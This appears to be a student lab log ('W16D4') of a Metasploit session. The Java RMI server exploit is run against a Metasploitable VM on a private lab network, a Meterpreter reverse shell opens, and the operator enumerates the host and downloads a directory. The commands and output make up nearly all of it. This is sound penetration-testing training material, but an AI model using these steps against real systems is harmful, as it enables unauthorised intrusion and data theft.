

W16D4

```
msf6 > search java_rmi

Matching Modules

#  Name                                     Disclosure Date  Rank    Check  Description
-  -                                     -              -      -      -
0  auxiliary/gather/java_rmi_registry        .              normal  No     Java RMI Registry Interfaces Enumeration
1  exploit/multi/misc/java_rmi_server        2011-10-15     excellent Yes    Java RMI Server Insecure Default Configuration Java Code Execution
2  \_ target: Generic (Java Payload)         .              .      .      .
3  \_ target: Windows x86 (Native Payload)   .              .      .      .
4  \_ target: Linux x86 (Native Payload)     .              .      .      .
5  \_ target: Mac OS X PPC (Native Payload)  .              .      .      .
6  \_ target: Mac OS X x86 (Native Payload)  .              .      .      .
7  auxiliary/scanner/misc/java_rmi_server    2011-10-15     normal  No     Java RMI Server Insecure Endpoint Code Execution Scanner
8  exploit/multi/browser/java_rmi_connection_impl 2010-03-31     excellent No     Java RMIConnectionImpl Deserialization Privilege Escalation

Interact with a module by name or index. For example info 8, use 8 or use exploit/multi/browser/java_rmi_connection_impl
```

```
msf6 > use exploit/multi/misc/java_rmi_server
[*] No payload configured, defaulting to java/meterpreter/reverse_tcp
msf6 exploit(multi/misc/java_rmi_server) > show options

Module options (exploit/multi/misc/java_rmi_server):

Name      Current Setting  Required  Description
--      -
HTTPDELAY  10              yes       Time that the HTTP Server will wait for the payload request
RHOSTS    .               yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT     1099            yes       The target port (TCP)
SRVHOST   0.0.0.0         yes       The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
SRVPORT   8080            yes       The local port to listen on.
SSL       false           no        Negotiate SSL for incoming connections
SSLCert   .               no        Path to a custom SSL certificate (default is randomly generated)
URIPATH   .               no        The URI to use for this exploit (default is random)

Payload options (java/meterpreter/reverse_tcp):

Name      Current Setting  Required  Description
--      -
LHOST     192.168.50.100  yes       The listen address (an interface may be specified)
LPORT     4444            yes       The listen port

Exploit target:
```

```
Exploit target:

Id  Name
--  --
0   Generic (Java Payload)

View the full module info with the info, or info -d command.

msf6 exploit(multi/misc/java_rmi_server) > set RHOSTS 192.168.50.108
RHOSTS => 192.168.50.108
msf6 exploit(multi/misc/java_rmi_server) > set RPORT 1099
RPORT => 1099
msf6 exploit(multi/misc/java_rmi_server) > show payloads

Compatible Payloads

#  Name                                     Disclosure Date  Rank    Check  Description
-  -                                     -              -      -      -
0  payload/cmd/unix/bind_aws_instance_connect .              normal  No     Unix SSH Shell, Bind Instance Connect (via AWS API)
1  payload/generic/custom                   .              normal  No     Custom Payload
2  payload/generic/shell_bind_aws_ssm       .              normal  No     Command Shell, Bind SSM (via AWS API)
3  payload/generic/shell_bind_tcp           .              normal  No     Generic Command Shell, Bind TCP Inline
4  payload/generic/shell_reverse_tcp        .              normal  No     Generic Command Shell, Reverse TCP Inline
5  payload/generic/ssh/interact              .              normal  No     Interact with Established SSH Connection
6  payload/java/jsp_shell_bind_tcp          .              normal  No     Java JSP Command Shell, Bind TCP Inline
```

```
kali@kali: ~  
File Actions Edit View Help  
msf6 exploit(multi/misc/java_rmi_server) > show payloads  
Compatible Payloads  


| #  | Name                                       | Disclosure Date | Rank   | Check | Description                                                                               |
|----|--------------------------------------------|-----------------|--------|-------|-------------------------------------------------------------------------------------------|
| 0  | payload/cmd/unix/bind_aws_instance_connect | .               | normal | No    | Unix SSH Shell, Bind Instance Connect (via AWS API)                                       |
| 1  | payload/generic/custom                     | .               | normal | No    | Custom Payload                                                                            |
| 2  | payload/generic/shell_bind_aws_ssm         | .               | normal | No    | Command Shell, Bind SSM (via AWS API)                                                     |
| 3  | payload/generic/shell_bind_tcp             | .               | normal | No    | Generic Command Shell, Bind TCP Inline                                                    |
| 4  | payload/generic/shell_reverse_tcp          | .               | normal | No    | Generic Command Shell, Reverse TCP Inline                                                 |
| 5  | payload/generic/ssh/interact               | .               | normal | No    | Interact with Established SSH Connection                                                  |
| 6  | payload/java/jsp_shell_bind_tcp            | .               | normal | No    | Java JSP Command Shell, Bind TCP Inline                                                   |
| 7  | payload/java/jsp_shell_reverse_tcp         | .               | normal | No    | Java JSP Command Shell, Reverse TCP Inline                                                |
| 8  | payload/java/meterpreter/bind_tcp          | .               | normal | No    | Java Meterpreter, Java Bind TCP Stager                                                    |
| 9  | payload/java/meterpreter/reverse_http      | .               | normal | No    | Java Meterpreter, Java Reverse HTTP Stager                                                |
| 10 | payload/java/meterpreter/reverse_https     | .               | normal | No    | Java Meterpreter, Java Reverse HTTPS Stager                                               |
| 11 | payload/java/meterpreter/reverse_tcp       | .               | normal | No    | Java Meterpreter, Java Reverse TCP Stager                                                 |
| 12 | payload/java/shell/bind_tcp                | .               | normal | No    | Command Shell, Java Bind TCP Stager                                                       |
| 13 | payload/java/shell/reverse_tcp             | .               | normal | No    | Command Shell, Java Reverse TCP Stager                                                    |
| 14 | payload/java/shell_reverse_tcp             | .               | normal | No    | Java Command Shell, Reverse TCP Inline                                                    |
| 15 | payload/multi/meterpreter/reverse_http     | .               | normal | No    | Architecture-Independent Meterpreter Stage, Reverse HTTP Stager (Multiple Architectures)  |
| 16 | payload/multi/meterpreter/reverse_https    | .               | normal | No    | Architecture-Independent Meterpreter Stage, Reverse HTTPS Stager (Multiple Architectures) |

  
msf6 exploit(multi/misc/java_rmi_server) > set PAYLOAD java/meterpreter/reverse_tcp  
PAYLOAD => java/meterpreter/reverse_tcp  
msf6 exploit(multi/misc/java_rmi_server) > set LHOST 192.168.50.100  
LHOST => 192.168.50.100  
msf6 exploit(multi/misc/java_rmi_server) > show options
```

```
kali@kali: ~  
File Actions Edit View Help  
LHOST => 192.168.50.100  
msf6 exploit(multi/misc/java_rmi_server) > show options  
Module options (exploit/multi/misc/java_rmi_server):  


| Name      | Current Setting | Required | Description                                                                                                                                                                                         |
|-----------|-----------------|----------|-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| HTTPDELAY | 10              | yes      | Time that the HTTP Server will wait for the payload request                                                                                                                                         |
| RHOSTS    | 192.168.50.108  | yes      | The target host(s), see <a href="https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html">https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html</a> |
| RPORT     | 1099            | yes      | The target port (TCP)                                                                                                                                                                               |
| SRVHOST   | 0.0.0.0         | yes      | The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.                                                               |
| SRVPORT   | 8080            | yes      | The local port to listen on.                                                                                                                                                                        |
| SSL       | false           | no       | Negotiate SSL for incoming connections                                                                                                                                                              |
| SSLCert   |                 | no       | Path to a custom SSL certificate (default is randomly generated)                                                                                                                                    |
| URIPATH   | /Metasploit/    | no       | The URI to use for this exploit (default is random)                                                                                                                                                 |

  
Payload options (java/meterpreter/reverse_tcp):  


| Name  | Current Setting | Required | Description                                        |
|-------|-----------------|----------|----------------------------------------------------|
| LHOST | 192.168.50.100  | yes      | The listen address (an interface may be specified) |
| LPORT | 4444            | yes      | The listen port                                    |

  
Exploit target:  


| Id | Name                   |
|----|------------------------|
| 0  | Generic (Java Payload) |


```

```
kali@kali: ~  
File Actions Edit View Help  
msf6 exploit(multi/misc/java_rmi_server) > exploit  
[*] Started reverse TCP handler on 192.168.50.100:4444  
[*] 192.168.50.108:1099 - Using URL: http://192.168.50.100:8080/turrENeU  
[*] 192.168.50.108:1099 - Server started.  
[*] 192.168.50.108:1099 - Sending RMI Header ...  
[*] 192.168.50.108:1099 - Sending RMI Call ...  
[*] 192.168.50.108:1099 - Replied to request for payload JAR  
[*] Sending stage (57971 bytes) to 192.168.50.108  
[*] Meterpreter session 1 opened (192.168.50.100:4444 -> 192.168.50.108:56160) at 2024-09-06 09:33:19 -0400  
  
meterpreter > ifconfig  
  
Interface 1  
=====
```

Name	: lo - lo
Hardware MAC	: 00:00:00:00:00:00
IPv4 Address	: 127.0.0.1
IPv4 Netmask	: 255.0.0.0
IPv6 Address	: ::1
IPv6 Netmask	: ::

```
  
Interface 2  
=====
```

Name	: eth0 - eth0
Hardware MAC	: 00:00:00:00:00:00
IPv4 Address	: 192.168.50.108
IPv4 Netmask	: 255.255.255.0
IPv6 Address	: fe80::a00:27ff:fedd:bad4
IPv6 Netmask	: ::

```
kali@kali: ~  
File Actions Edit View Help  
IPv6 Netmask : ::  
meterpreter > route  
  
IPv4 network routes  
=====
```

Subnet	Netmask	Gateway	Metric	Interface
127.0.0.1	255.0.0.0	0.0.0.0		
192.168.50.108	255.255.255.0	0.0.0.0		

```
  
IPv6 network routes  
=====
```

Subnet	Netmask	Gateway	Metric	Interface
::1	::	::		
fe80::a00:27ff:fedd:bad4	::	::		

```
meterpreter > sysinfo  
Computer      : metasploitable  
OS            : Linux 2.6.24-16-server (i386)  
Architecture  : x86  
System Language : en_US  
Meterpreter   : java/linux  
meterpreter > ps  
  
Process List  
=====
```

```
meterpreter > ps
```

#### Process List

PID	Name	User	Path
1	/sbin/init	root	/sbin/init
2	[kthreadd]	root	[kthreadd]
3	[migration/0]	root	[migration/0]
4	[ksoftirqd/0]	root	[ksoftirqd/0]
5	[watchdog/0]	root	[watchdog/0]
6	[events/0]	root	[events/0]
7	[khelper]	root	[khelper]
41	[kblockd/0]	root	[kblockd/0]
44	[kacpid]	root	[kacpid]
45	[kacpi_notify]	root	[kacpi_notify]
90	[kseriod]	root	[kseriod]
129	[pdflush]	root	[pdflush]
130	[pdflush]	root	[pdflush]
131	[kswapd0]	root	[kswapd0]
173	[aio/0]	root	[aio/0]
1129	[ksnapd]	root	[ksnapd]
1320	[ksuspend_usbd]	root	[ksuspend_usbd]
1323	[khubd]	root	[khubd]
1341	[ata/0]	root	[ata/0]
1344	[ata_aux]	root	[ata_aux]
2049	[scsi_eh_0]	root	[scsi_eh_0]
2197	[kjournald]	root	[kjournald]
2351	/sbin/udev	root	/sbin/udev --daemon

```
meterpreter > ls
```

Listing: /

Mode	Size	Type	Last modified	Name
100666/rw-rw-rw-	0	fil	2024-09-05 14:30:38 -0400	}
040666/rw-rw-rw-	4096	dir	2012-05-13 23:35:33 -0400	bin
040666/rw-rw-rw-	1024	dir	2012-05-13 23:36:28 -0400	boot
040666/rw-rw-rw-	4096	dir	2010-03-16 18:55:51 -0400	cdrom
040666/rw-rw-rw-	13480	dir	2024-09-06 05:55:04 -0400	dev
040666/rw-rw-rw-	4096	dir	2024-09-06 05:55:10 -0400	etc
040666/rw-rw-rw-	4096	dir	2010-04-16 02:16:02 -0400	home
040666/rw-rw-rw-	4096	dir	2010-03-16 18:57:40 -0400	initrd
100666/rw-rw-rw-	7929183	fil	2012-05-13 23:35:56 -0400	initrd.img
040666/rw-rw-rw-	4096	dir	2012-05-13 23:35:22 -0400	lib
040666/rw-rw-rw-	16384	dir	2010-03-16 18:55:15 -0400	lost+found
040666/rw-rw-rw-	4096	dir	2010-03-16 18:55:52 -0400	media
040666/rw-rw-rw-	4096	dir	2010-04-28 16:16:56 -0400	mnt
100666/rw-rw-rw-	13752	fil	2024-09-06 05:55:31 -0400	nohup.out
040666/rw-rw-rw-	4096	dir	2010-03-16 18:57:39 -0400	opt
040666/rw-rw-rw-	0	dir	2024-09-06 05:54:55 -0400	proc
040666/rw-rw-rw-	4096	dir	2024-09-06 05:55:31 -0400	root
040666/rw-rw-rw-	4096	dir	2012-05-13 21:54:53 -0400	sbin
040666/rw-rw-rw-	4096	dir	2010-03-16 18:57:38 -0400	srv
040666/rw-rw-rw-	0	dir	2024-09-06 05:54:56 -0400	sys
040666/rw-rw-rw-	4096	dir	2024-09-04 13:58:09 -0400	test_metasploit
040666/rw-rw-rw-	4096	dir	2024-09-06 09:04:30 -0400	tmp
040666/rw-rw-rw-	4096	dir	2010-04-28 00:06:37 -0400	usr
040666/rw-rw-rw-	4096	dir	2010-03-17 10:08:23 -0400	var

```
meterpreter > download file  
[-] stdapi_fs_stat: Operation failed: 1  
meterpreter > download test_metasploit  
meterpreter > █
```